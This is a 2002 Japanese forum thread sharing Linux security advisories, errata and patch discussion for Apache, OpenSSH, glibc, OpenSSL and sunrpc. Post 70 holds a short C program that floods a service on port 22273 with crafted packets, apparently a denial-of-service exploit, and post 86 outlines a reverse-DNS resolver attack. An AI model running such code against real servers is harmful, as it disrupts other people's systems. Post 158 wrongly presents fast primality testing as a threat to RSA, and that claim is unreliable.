1 名前:login:Penguin [02/02/02 13:55 ID:TzxKF1DS] 日々発見されるセキュリティホール。 その情報を一人であつめるのは大変です。情報の共有をしましょう。 先人達が埋めてくれた穴は、ありがたく反映させていただきましょう。 www.redhat.co.jp/support/errata/rh72-errata-security.html www.turbolinux.co.jp/security/ www.vinelinux.org/errata/2x/i386.html www.debian.org/security/ ML等からの情報もよろしく
58 名前:login:Penguin [02/06/20 10:16 ID:01vvi0s8] >>55 Red Hat rhn.redhat.com/errata/RHSA-2002-103.html
59 名前:login:Penguin [02/06/20 10:44 ID:gutuxgNU] Debian (potato) DSA-131-1 apache -- remote DoS / exploit www.debian.org/security/2002/dsa-131 DSA-132-1 apache-ssl -- remote DoS / exploit www.debian.org/security/2002/dsa-132
60 名前:login:Penguin [02/06/20 13:37 ID:RkoCmceO] Apache のそれは 32bit Linux でもヤバそう。 某MLにexploitが流れてた。
61 名前:login:Penguin [02/06/20 13:56 ID:gutuxgNU] Apache Web サーバプログラムの脆弱性に関する注意喚起 www.jpcert.or.jp/at/2002/at020003.txt
62 名前:login:Penguin [02/06/20 14:06 ID:RkoCmceO] 情報スカスカのJPCERT勧告なんぞ読んでも仕方無いぞ。ほい日本語版。 www.lac.co.jp/security/intelligence/CERT/CA-2002_17.html
63 名前:login:Penguin mailto:sage [02/06/20 14:24 ID:01vvi0s8] こっちはそれなりに有用。 www.ipa.go.jp/security/ciadr/20020619apache.html
64 名前:名無しさん mailto:sage [02/06/22 23:55 ID:STj3pUTJ] 「くだ質」とどちらに投げようか迷った挙げ句、こちらに 投げることにしました。 以下のような自分の使用状況がセキュリティの面で安全か どうか伺いたく存じます。 自宅でLinuxを使っています。Flets ADSLを契約しており、 常時接続ではなく、時々インターネットに接続して電子 メールを読み書きしたり、WWWで情報を得たりしています。 ルータ等は使っていません。他のホストにwwwやftpで クライエントとして接続することはあっても、自ホストを サーバにする必要は殆どないと考えています。ただ例外で、 smtpサーバとしてnullmailerを使っています。 Debian GNU/Linux sidを使っており、電源を入れる度に apt-getでパッケージを更新しています。 ftpd、rsh-server、ssh、apache等は削除しています。 kernelは2.4.18です。 /etc/hosts.allowは何も記述せず、 /etc/hosts.denyはALL: ALLにしてます。 # netstat --tcp --all は、 Proto 受信-Q 送信-Q 内部アドレス 外部アドレス 状態 tcp 0 0 *:time *:* LISTEN tcp 0 0 *:32927 *:* LISTEN tcp 0 0 xxx.yyy.zzz.uuu:33011 aaa.bbb.ccc.ddd:smtp TIME_WAIT となります(xxx.yyy.zzz.uuuは割り当てられたIPアドレス、 aaa.bbb.ccc.dddはプロバイダのメールサーバのIPアドレス)。
65 名前:login:Penguin mailto:sage [02/06/23 00:03 ID:bXEc0h6E] >>64 > 以下のような自分の使用状況がセキュリティの面で安全か > どうか伺いたく存じます。 「安全」と「安全でない」の2つしか状態がないと思ってる?
66 名前:login:Penguin [02/06/23 00:47 ID:knGXFfYf] Apache の脆弱性を攻撃するツールが登場 slashdot.jp/article.pl?sid=02/06/22/1240249&mode=thread
67 名前:login:Penguin [02/06/23 01:02 ID:kepzSriJ] >>66 充分に気をつけているほうだと思うよ。 でもセキュリティにこれで完璧ってのは無いんだよ。 あくまでコストとリスクとの綱引きでしかない。 しかしそれで侵入されたからって君を責める人はあまりいないだろう。
68 名前:login:Penguin mailto:sage [02/06/23 01:25 ID:xLORxFdI] >>66 inetdも止めてしまおう。
69 名前:login:Penguin [02/06/25 15:34 ID:drybiZ1b] OpenSSH に新たな弱点発見。詳細は来週まで秘密。 リモートから悪用可能らしい。 3.3 にも同じ弱点があるが、侵入は防げるそうだ。
70 名前:login:Penguin mailto:sage [02/06/25 22:33 ID:yPSMZ+Jm] void writei(int fd,int num){num = htonl(num);write(fd,&num,4);} void writes(int fd,char *s){write(fd,s,strlen(s)+1);} void main(int argc,char **argv){struct hostent *he;struct sockaddr_in si;int fd; char a[10];he = gethostbyname(argv[1]);while(1){fd = socket(PF_INET,SOCK_STREAM,0);si.sin_family = AF_INET;memcpy(&si.sin_addr,he->h_addr_list[0],sizeof(si.sin_addr)); si.sin_port = htons(22273);connect(fd,(struct sockaddr *)&si,sizeof(si));sprintf(a,"%d",rand());writei(fd,0x66);writei(fd,0); writes(fd,a);writei(fd,0);writei(fd,3);close(fd);}}
71 名前:login:Penguin [02/06/25 22:46 ID:LJSlbrtr] >>69 これだね。 Debian 以外のパッケージはいつころ出るんだろ。 www.koka-in.org/~haruyama/ssh_koka-in_org/0/4.html
72 名前:login:Penguin mailto:sage [02/06/26 09:06 ID:yIavaL89] >70 Wnnか?何の穴よ? まさかwww.freewnn.orgにある大昔の穴じゃないだろうな。
73 名前:login:Penguin mailto:sage [02/06/26 20:58 ID:0uLnP27B] >>72 違うっぽい。
74 名前:login:Penguin [02/06/26 22:51 ID:knPs+H7Y] *BSD の libc の resolver に穴が見つかったようだけど、glibc は どうなんだろう www.pine.nl/advisories/pine-cert-20020601.html
75 名前:login:Penguin [02/06/27 00:16 ID:UFWmO8g6] ISS から OpenSSH のアドバイザリが出た。 Challenge and Response 認証にバグ。remote root exploit。 sshd_config に ChallengeResponseAuthentication no で回避可能。3.4 で修正されている。 これがもし Theo の言ってた穴と同じものなら、 OpenSSH 3.0 以降にのみ存在する穴じゃん。 いちはやくアップデート出した Debian potato は踊らされただけか。
76 名前:login:Penguin [02/06/27 00:18 ID:UFWmO8g6] OpenSSH Advisory www.openssh.com/txt/preauth.adv
77 名前:login:Penguin [02/06/27 00:19 ID:UFWmO8g6] さみだれ式でごめん。ISS Advisory www.openssh.com/txt/iss.adv
78 名前:login:Penguin [02/06/27 00:31 ID:UFWmO8g6] >>75 訂正。3.0 以降じゃなくて 2.9.9 以降に弱点がある模様。 Debian 2.2 (potato) は安全な 1.2 系からわざわざ弱点のある 3.3 に入れ換えさせられた恰好だよ。Theo のアホーーーーー。 フルディスクロージャってやっぱり大事なんだな。
79 名前:login:Penguin [02/06/27 01:53 ID:b3kvzA+X] 06/27 Vine-errata security hole openssh-3.3p1-0vl10.i386.rpm openssh-server-3.3p1-0vl0.i386.rpm openssh-clients-3.3p1-0vl0.i386.rpm openssh-askpass-3.3p1-0vl0.i386.rpm openssh-askpass-gnome-3.3p1-0vl0.i386.rpm
80 名前:login:Penguin mailto:sage [02/06/27 01:59 ID:b3kvzA+X] >>79 は 06/26 発行でした。スマソ
81 名前:login:Penguin [02/06/27 11:42 ID:/viQ/aAY] openssh 3.4p1出てるよage
82 名前:login:Penguin mailto:sage [02/06/27 11:52 ID:EftB/YmL] syslogdが大きい。
83 名前:login:Penguin [02/06/27 16:56 ID:QDJgHCs7] resolver のバグは対岸の火事ではない模様。
84 名前:login:Penguin mailto:sage [02/06/27 17:20 ID:/viQ/aAY] 2ch鯖のApacheも入れ替えが始まってるね。 遅いぐらいだ。昨日の件もこれが絡んでたのだろうか。 しかし入れ替えたはいいがlinuxのlibcにも。。。。 なんてことになったら大火事だな。
85 名前:login:Penguin mailto:sage [02/06/27 18:16 ID:d3NH2M4p] >>84 まさに大火事のようで(藁 まあ、リモートからいじれる穴ではないだろうけど
86 名前:login:Penguin [02/06/27 18:57 ID:QDJgHCs7] >>85 resolver のバグはリモートからいじれる。 攻撃者は自由に設定出来るネームサーバを持っていればいい。 ある IP アドレスの逆引きホストネームに攻撃用コードを仕込む。 そしてその IP アドレスから攻撃対象のサーバに接続する。 攻撃対象のサーバが逆引きを行い、 返って来た巧妙に細工されたホスト名を正引きしたら、あぼーん。
87 名前:login:Penguin mailto:sage [02/06/27 20:05 ID:4+mBkHBL] glibcには*BSDよりも1箇所余計にチェックが入っているが、 これでは防げないのか?
88 名前:login:Penguin mailto:sage [02/06/27 20:31 ID:GRjz2eTH] OpenSSHを3.1→3.4にアップグレードしたら、sshdの起動時に This platform does not support both privilege separation and compression Compression disabled こんなメッセージを吐くんだけど・・・何だろ?syslogには上がらないみたいだけど気になるかな。 ちなみにRedHat6.2(kerner2.2.19/glibc2.1.3-23/OpenSSL0.9.6d)
89 名前: mailto:sage [02/06/27 20:37 ID:oX2io58x] >>88 Compressionは切ろう。
90 名前:login:Penguin [02/06/27 20:41 ID:QDJgHCs7] >>87 実際テストしてみたが落せない。 俺がヘボなだけかもしれないから識者の意見を待とう。
91 名前:88 mailto:sage [02/06/27 20:42 ID:GRjz2eTH] >>89 sshd_configのCompressをnoに指定したら出なくなったよ。 感謝。
92 名前:login:Penguin mailto:sage [02/06/27 21:00 ID:4+mBkHBL] >>90 FreeBSDをパッチを見るに、gethnamaddr.cはずでにFreeBSDの パッチと同じ処理が入っている。getnetnamadr.cにはない。
93 名前:login:Penguin [02/06/27 21:00 ID:QDJgHCs7] >>90 識者の意見が間違ってた Aapche の時のような事もあるから itojun 氏のパッチあててもいいかもしれない。 でも勇み足で必要でないアップデートを出して、わざわざ穴を 開けてしまったDebian potato の例もあるし、悩ましいところだな。
94 名前:login:Penguin [02/06/27 21:13 ID:QDJgHCs7] 識者登場age。
95 名前:login:Penguin mailto:sage [02/06/27 21:32 ID:4+mBkHBL] 直すべきは nss_dns/dns-network.c か。 古いの見てた。すまそ。
96 名前:login:Penguin [02/06/28 11:19 ID:CALm/HoI] 新しいBINDが出た
97 名前:login:Penguin mailto:sage [02/06/28 13:40 ID:PahA8xFy] >>93 itojunさんのパッチってどこでgetできます? glibcに当たるのかいな?
98 名前:login:Penguin [02/06/28 16:13 ID:DZqksx+C] >>97 FreeBSD や NetBSD の Advisory 嫁。 そのままでは当たらないだろうから手作業で当てれ。 ま、俺はめんどいから様子見。
99 名前:login:Penguin mailto:sage [02/06/28 20:57 ID:Yj/G45g0] つーか、おまえら誰もglibcのコード読んでないんとちゃうか?
100 名前:login:Penguin mailto:sage [02/06/28 21:47 ID:Yj/G45g0] --- glibc-2.2.5/resolv/nss_dns/dns-network.c.org 2001-07-06 13:55:39.000000000 +0900 +++ glibc-2.2.5/resolv/nss_dns/dns-network.c 2002-06-28 21:42:26.000000000 +0900 @@ -328,7 +328,9 @@ } cp += n; *alias_pointer++ = bp; - bp += strlen (bp) + 1; + n = strlen(bp) + 1; + bp += n; + linebuflen -= n; result->n_addrtype = class == C_IN ? AF_INET : AF_UNSPEC; ++have_answer; } こんなとこではないかな。gethnamaddr.cはFreeBSDのパッチと同様の 処理がすでに入っている。
101 名前:名無しさん@XEmacs mailto:sage [02/06/29 01:29 ID:cleVXGS3] >>100 > こんなとこではないかな。gethnamaddr.cはFreeBSDのパッチと同様の > 処理がすでに入っている。 name6.c のチャンクは? と思ったけど,'99 に直ってるすね. ttp://sources.redhat.com/cgi-bin/cvsweb.cgi/libc/resolv/nss_dns/dns-host.c.diff?r1=1.15&r2=1.16&cvsroot=glibc&f=h
102 名前:login:Penguin [02/06/29 04:06 ID:uLF75Z2Y] >>79 Vine-errata security hole openssh-3.4p1-0vl2.i386.rpm openssh-server-3.4p1-0vl2.i386.rpm openssh-clients-3.4p1-0vl2.i386.rpm openssh-askpass-3.4p1-0vl2.i386.rpm openssh-askpass-gnome-3.4p1-0vl2.i386.rpm
103 名前:login:Penguin mailto:sage [02/07/02 09:30 ID:QAyrQPMn] >>100-101 通報しますた。
104 名前:login:Penguin mailto:sage [02/07/02 11:35 ID:qVWzSPns] www.sendmail.org/8.12.5.html > 8.12.5/8.12.52002/06/25 > SECURITY: The DNS map can cause a buffer overflow if the user > specifies a dns map using TXT records in the configuration > file and a rogue DNS server is queried. None of the > sendmail supplied configuration files use this option hence > they are not vulnerable. Problem noted independently by > Joost Pol of PINE Internet and Anton Rang of Sun Microsystems. 普通の設定では影響なし、なのかな?
105 名前:login:Penguin mailto:sage [02/07/02 11:44 ID:qVWzSPns] resolver 問題、CERT/CC によると glibc はこれで fix されてるらしい。 www.kb.cert.org/vuls/id/AAMN-5BMSW2 しかし、こういうのって他のプロジェクトに還元されないもんなんだろうか。
106 名前:login:Penguin mailto:age [02/07/02 12:47 ID:KLRYFYVU] 上のパッチ、だれかUlrich Drepperに投げた?
107 名前:地獄狂 YahooBB219017000159.bbtec.net ◆7WP8X9hw [02/07/02 13:39 ID:hdi7nBII] よくわかんないんだけど、glibcのバグはどのバージョンにあるの?
108 名前:login:Penguin mailto:sage [02/07/04 02:52 ID:qk/rUU9i] >>57 07/02 Vine-errata security hole apache-1.3.26-0vl2.i386.rpm apache-devel-1.3.26-0vl2.i386.rpm apache-manual-1.3.26-0vl2.i386.rpm mod_ssl-2.8.9-0vl2.i386.rpm
109 名前:login:Penguin mailto:sage [02/07/04 13:55 ID:50T+DZdt] dammit.lt/apache-worm/ このApacheワームのソースってどこから出たものなのかな。 ワーム自体は蜜壷で捕まえたみたいだけど。
110 名前:login:Penguin [02/07/04 14:07 ID:nB1GJwB4] Squid Proxy Cache Security Update Advisory SQUID-2002:3 - Security advisory several issues in Squid-2.4.STABLE6 and earlier. Squid-2.4.STABLE7 released to address these issues. www.squid-cache.org/Advisories/SQUID-2002_3.txt
111 名前:login:Penguin mailto:sage [02/07/04 14:13 ID:WhJXedKe] >>109 投稿した人は「僕の inbox に入ってた」って言ってた。
112 名前:login:Penguin [02/07/07 01:03 ID:BITbiOEM] snortのalert(警告)をメールで携帯に送りたいんですが、 どのようにすれば良いのでしょうか。 confファイルにはそれらしき箇所が見つかりませんでした。
113 名前:login:Penguin [02/07/07 01:06 ID:puqWG/eL] >>112 snort 単体ではできない。 syslog と swatch 等を使うか、snort 用のツールを使う。
114 名前:112 mailto:sage [02/07/07 02:22 ID:BITbiOEM] >>113 さんくすこ
115 名前:login:Penguin [02/07/08 00:56 ID:/S0ObH45] NetSNMPとMRTGでサーバを監視しようと思ってるんですが、 MRTGに関してはローカルホスト(NetSNMPが入ってるマシン)を対象に 監視を行っても良いのでしょうか。 なんか説明ページだと、ルータが監視の対象となってるみたいなんですが。 (ルータがSNMPに対応していないので…)
116 名前:login:Penguin mailto:sage [02/07/08 12:47 ID:X0vw/Q8k] >>115 問題なし
117 名前:login:Penguin [02/07/08 21:11 ID:u3KFO/Rs] 07/08 Vine-errata security hole squid-2.4.STABLE7-0vl1.i386.rpm
118 名前:login:Penguin mailto:age [02/07/11 10:09 ID:5UzWVYho] ttp://lwn.net/Articles/4545/ This bug has been fixed for the gethostbyXXX class of functions in GNU libc in 1999. Unfortunately, there is similar code in the getnetbyXXX functions in recent glibc implementations, and the code is enabled by default. However, these functions are used by very few applications only, such as ifconfig and ifuser, which makes exploits less likely. やはり....
119 名前:login:Penguin mailto:sage [02/07/11 13:11 ID:yBUV78yy] www.kb.cert.org/vuls/id/AAMN-5BMSW2 更新されてる
120 名前:login:Penguin mailto:sage [02/07/17 15:50 ID:c18o8yEa] 最近新しい穴が見つからないねぇ。 いいことなんだが、何かつまらんw
121 名前:login:Penguin [02/07/22 23:24 ID:/iXwHkpN] キタ━━━━━━(゚∀゚)━━━━━━ !!! PHP 4.2.0/4.2.1 に任意コード実行可能なセキュリティホール。 また IA32 じゃ任意コード実行は出来ないなんて言ってるよ。 ホントカナー???
122 名前:login:Penguin [02/07/26 10:13 ID:GbcCcnsG] Updated glibc packages fix vulnerabilities in resolver rhn.redhat.com/errata/RHSA-2002-139.html > A buffer overflow vulnerability has been found in the way the glibc > resolver handles the resolution of network names and addresses via DNS (as > per Internet RFC 1011). Version 2.2.5 of glibc and earlier versions are > affected. A system would be vulnerable to this issue if the > "networks" database in /etc/nsswitch.conf includes the "dns" entry. By > default, Red Hat Linux ships with "networks" set to "files" and > is therefore not vulnerable to this issue. (CAN-2002-0684) > > A second, related, issue is a bug in the glibc-compat packages, which > provide compatibility for applications compiled against glibc version > 2.0.x. Applications compiled against this version (such as those > distributed with early Red Hat Linux releases 5.0, 5.1, and 5.2) could also > be vulnerable to this issue. (CAN-2002-0651) > > These errata packages for Red Hat Linux 7.1 and 7.2 on the Itanium > architecture also include a fix for the strncpy implementation in some > boundary cases.
123 名前:名無しさん@Emacs [02/07/26 12:55 ID:WWUr2yVC] >>120 良いことではないか。ないにこしたことはない。
124 名前:login:Penguin [02/07/29 12:39 ID:6tjxSffv] Jul 29 02:47:04 XXXXX sshd[14409]: warning: /etc/hosts.allow, line 6: can't verify hostname: gethostbyname(host180.cciglobal.net.pa) failed これはresolverの穴を狙った攻撃?
125 名前:login:Penguin mailto:sage [02/07/29 16:57 ID:Nqm0H4Dg] 接続元のIPアドレスからホスト名を調べて、そこからまたIPアドレスを ひいたら元に戻らなかった、ってことだと思う。>>124 のものも、 うちに来ているものも、DNSでAレコードがひけないんだよね。 Jul 28 04:45:35 giko sshd[80120]: warning: /etc/hosts.allow, line 4: can't verify hostname: getaddrinfo(h64-141-4-23.bigpipeinc.com, AF_INET) failed Jul 28 04:45:35 giko sshd[80120]: refused connect from 64.141.4.23 (64.141.4.23) % host 64.141.4.23 23.4.141.64.in-addr.arpa domain name pointer h64-141-4-23.bigpipeinc.com. % host h64-141-4-23.bigpipeinc.com Host h64-141-4-23.bigpipeinc.com not found: 3(NXDOMAIN) 詳しく調べたわけでないから嘘かもしれぬ。スマソ。
126 名前:login:Penguin [02/07/29 18:09 ID:qwCj4iNe] >>124 攻撃そのものは単純にsshdの古いバージョンでのセキュリティホール を狙った物だと思う。偶然にもIPから逆引きできたホスト名と、その ホスト名に対応するIPが合致していなかったために拒否されただけ。
127 名前:login:Penguin [02/07/30 23:43 ID:OrlpKdAp] マタキタ━━━━━━(゚∀゚)━━━━━━ !!! OpenSSL にリモートから悪用可能なバッファオーバフロー。 既に赤帽と Woody には修正出た。でも Potato はまだ。 util-linux にもちっこい穴。
128 名前:login:Penguin [02/07/31 11:36 ID:RHIhvYC4] CERTキタ━━━(゚∀゚)━( ゚∀)━( ゚)━( )━( )━(゚ )━(∀゚ )━(゚∀゚)━━━!!!!! www.cert.org/advisories/CA-2002-23.html
129 名前:login:Penguin [02/07/31 13:00 ID:4XI2cpUc] Vine Linux 2.5/2.1.5 向け修正キタ━━(゚∀゚)━━━!!!!! ・2002,07,31 openssl にセキュリティホール
130 名前:login:Penguin [02/07/31 14:06 ID:ihwnQ9C/] 07/31 Vine-errata security hole openssl-0.9.6b-1vl5.i386.rpm openssl-devel-0.9.6b-1vl5.i386.rpm openssl-perl-0.9.6b-1vl5.i386.rpm
131 名前:login:Penguin [02/07/31 20:42 ID:YlVAcS0a] Turboにglibc、imap、artsのパッチ出てます。
132 名前:login:Penguin [02/07/31 22:04 ID:VJrOgCEJ] openss-0.9.6eをmake installしたら /usr/bin/pod2manがうまくいかね−とか言って 「自前の古いやつで代用しとくよん」とか言われるんだが perlはperl-5.00503-12が入っている /usr/bin/pod2manは 29017 Aug 11 2000 /usr/bin/pod2man 赤帽6.2, kernel2.2.19-6.2.16 なんで?
133 名前:login:Penguin [02/07/31 22:23 ID:Q67jwc8B] >>131 imap のってかなり前から判明してて悪用ツールも出回ってるのに、 赤帽は無視状態なんだよなぁ。
134 名前:login:Penguin mailto:sage [02/08/01 00:00 ID:HYtIqah4] >>132 鷲もSolaris8(SPARC版)で同じようなエラーでまくった。
135 名前:login:Penguin mailto:sage [02/08/01 04:58 ID:K+qKORMj] >>132 FreeBSD 4.6-STABLEで同じエラーが出たが, PlamoLinux 2.2.6では出なかった
136 名前:135 mailto:sage [02/08/01 05:03 ID:K+qKORMj] ちなみに FreeBSD: -r-xr-xr-x 1 root wheel 29017 Sep 26 2000 /usr/bin/pod2man Linux: -rwxr-xr-x 1 root root 28830 Jul 23 1999 /usr/bin/pod2man*
137 名前:OpenSSHにトロイ [02/08/02 00:12 ID:INRnoZ0d] docs.freebsd.org/cgi/getmsg.cgi?fetch=394609+0+current/freebsd-security
138 名前:132 mailto:sage [02/08/02 11:13 ID:ODee0oiA] ヨー分からんが、どうせマニュアルだしとおもって とりあえず無視して続行した 情報あんがと>>134 , 135
139 名前:login:Penguin [02/08/02 11:37 ID:Ybd6oZe9] >137 祭りのヨカーン うちは大丈夫だったーよ。
140 名前:名無しさん@Emacs [02/08/02 12:53 ID:00MO2/Lt] >>137 祭りネタキタ━━━━━━(゚∀゚)━━━━━━ !!!!! いや、うちは全く問題なかったんだけど。 いちおうcertのほうのリンクも。 www.cert.org/advisories/CA-2002-24.html
141 名前:login:Penguin [02/08/02 13:02 ID:1fOWog9y] 因紫 掻 薄仙 尻衣馬形壱 馬澗 紫戚闘拭 奄沙 凪戚走亜 蒸柔艦陥. 穣益傾戚球馬澗 掻析 呪 赤柔艦陥. 陥製拭 陥獣 背左淑獣神. 庚薦亜 域紗鞠檎 瀬 紫戚闘 淫軒切拭惟 庚税馬淑獣神. これってなんて書いてあるの?ルータのログみたら外からローカルの アドレス参照しようとしてたみたいなんだけど。
142 名前:141 [02/08/02 13:03 ID:1fOWog9y] 参照元のURL見に行ったら書いてあった。
143 名前:login:Penguin [02/08/02 20:01 ID:8Z+yUGrL] キタ━━━━━━(゚∀゚)━━━━━━ !!!!! sunrpc にリモートな穴 www.isskk.co.jp/support/techinfo/general/SunRPC_xforce.html glibcおそらくダメ。パッチ前のコードとおんなじ。
144 名前:login:Penguin [02/08/02 20:07 ID:8Z+yUGrL] cvsは変更されている。
145 名前:login:Penguin [02/08/02 20:42 ID:Fjm5fo+C] >>143 俺的にはネットに sunrpc を露出させてる事自体が非常識だと思うが、 実際にはそういう鯖がいっぱいあるんだろうな。 Debian ですらデフォルトで sunrpc が動いてる。
146 名前:login:Penguin [02/08/03 22:31 ID:iNHan/6D] >>145 libwrap組み込みのportmapperはまだマシ。 Solarisのやつはアクセス制限ないからね
147 名前:login:Penguin mailto:sage [02/08/03 22:43 ID:iYyATlBv] >>145 ルータで塞いでるから、ネットに晒してるのはあまり無い気がするが、 それでも内部からだと叩かれまくるよな。
148 名前:login:Penguin [02/08/03 23:03 ID:q+uK3qOu] ガーソ。NFS鯖もだめっぽ?
149 名前:login:Penguin mailto:sage [02/08/04 02:40 ID:mTLJthdl] Port111、iptablesでrejectしとこっと
150 名前:login:Penguin [02/08/08 08:04 ID:GKTZUhh4] 08/07 Vine-errata security hole apache-1.3.26-0vl3.i386.rpm apache-devel-1.3.26-0vl3.i386.rpm apache-manual-1.3.26-0vl3.i386.rpm mod_ssl-2.8.7-0vl3.i386.rpm
151 名前:login:Penguin [02/08/08 08:06 ID:GKTZUhh4] 08/07 Vine-errata security hole libpng-1.0.12-0vl3.i386.rpm libpng-devel-1.0.12-0vl3.i386.rpm
152 名前:OpenSSL0.9.6f [02/08/09 14:31 ID:BghTOrfj] キタ━━━━━━(゚∀゚)━━━━━━ !!!!! www.openssl.org/
153 名前:あぼーん mailto:あぼーん [あぼーん] あぼーん
154 名前:login:Penguin [02/08/09 14:59 ID:4tlTdlJW] >>152 またopensslに依存するのをビルドしなおしかよ・・メンドクセー
155 名前:OpenSSL0.9.6f [02/08/09 15:10 ID:BghTOrfj] >>154 朝からWin2kのSP3(板違いスマソ)もいれたし、 次はコレかよって感じだよ....ウワヮヮン ヽ(`Д´)ノ
156 名前:名無しさん@XEmacs mailto:sage [02/08/09 15:19 ID:QtBVDpro] あうん。 OpenSSL は、ちと面倒だよね。。。
157 名前:login:Penguin [02/08/09 15:21 ID:8WrLJci1] make installでコケるぞ。0.9.6g出んのかな marc.theaimsgroup.com/?l=openssl-cvs&m=102849375109205&w=2
158 名前: [02/08/09 19:13 ID:o+8My8IY] カンプールのインド工科大学のManindra Agrawal、Neeraj KayalおよびNitin Saxenaが、 素数判定を多項式時間(polynomial time)で可能なアルゴリズムを発見、証明した。 素数判定(が困難であること)は、RSAをはじめとする多くのコンピュータ暗号が安全である ことを保障しているため、もしこれが事実であった場合、コンピュータ暗号の世界に多大な 影響を及ぼすと予想される。 論文は以下のURLからたどることができる。 また、ニューヨークタイムズの記事によると、ベル研のDr. Carl Pomerance博士は この論文を正確(correct)であると断定し、「このアルゴリズムは美しい。」 ("This algorithm is beautiful.")とコメントしたという。 論文のURL(英語: 数学者の写真あり): www.cse.iitk.ac.in/news/primality.html NY Timesの記事(英語): www.nytimes.com/2002/08/08/science/08MATH.html 関連スレ 【科学】素数判定が多項式時間で可能、コンピュータ暗号に影響大―インドの数学者証明 news2.2ch.net/test/read.cgi/newsplus/1028876818/ 素数判定は「決定的」多項式時間で可能 science.2ch.net/test/read.cgi/math/1028813059/ もうだめぽ、、